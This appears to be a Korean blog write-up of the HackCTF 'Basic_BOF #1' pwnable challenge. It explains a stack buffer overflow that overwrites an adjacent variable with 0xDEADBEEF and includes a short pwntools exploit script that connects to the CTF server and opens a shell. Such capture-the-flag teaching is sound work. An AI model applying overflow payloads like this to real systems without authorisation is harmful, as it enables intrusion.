미친해커

[HackCTF] Pwnable : Basic_BOF #1 본문

Hacking/HackCTF

[HackCTF] Pwnable : Basic_BOF #1

미친해커 2021. 6. 16. 13:11
반응형

지금까지 블로그 작성을 미루다가 19살이 되어 본격적으로 HackCTF를 풀면서 Write-Up 을 작성하게 되었다.. 너무 늦은 감이 있지만 지금부터라도 열심히 해야지 쓸때없는말은 여기까지!

HackCTF의 첫번째 포너블 문제다. 이름이 Basic_BOF 인 것으로 보아 간단한 Buffer OverFlow 문제로 예상된다.

바이너리를 다운받을 수 있으니 IDA Pro를 이용해 디컴파일을 해보자

 

IDA Pro로 디스어셈블한 main 코드

 

main 함수를 보니 변수 s와 v5가 선언되어 있다. s에 데이터를 입력받고 s와 v5의 데이터를 출력한다.

s부터 v5까지의 거리는 0x34 - 0xC = 0x28 총 40바이트이다. 즉 s의 공간은 40바이트이다.

 

아래쪽 if 문에서 v5가 0xDEADBEEF 라면 Shell을 띄워준다. fgets에서 45바이트를 입력받으므로 s를 40바이트로 모두 채우고Buffer OverFlow 발생시켜 v5를 조작해 Shell을 얻어낼 수 있다.

# file : bof_basic.py
from pwn import *

#p = process('./bof_basic')
p = remote('ctf.j0n9hyun.xyz', 3000)

payload = 'A' * 40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

payload는 s의 시작부터 v5 전까지 40 바이트를 채워준다. 그 뒤에 들어가는 데이터는 v5를 덮어쓰게 된다. 그러니 다음은 0xDEADBEEF를 리틀엔디안 방식으로 패킹하여 붙여준다. 그러면 다음과 같이 쉘을 얻어 flag를 얻을 수 있게 된다.

 

반응형
Comments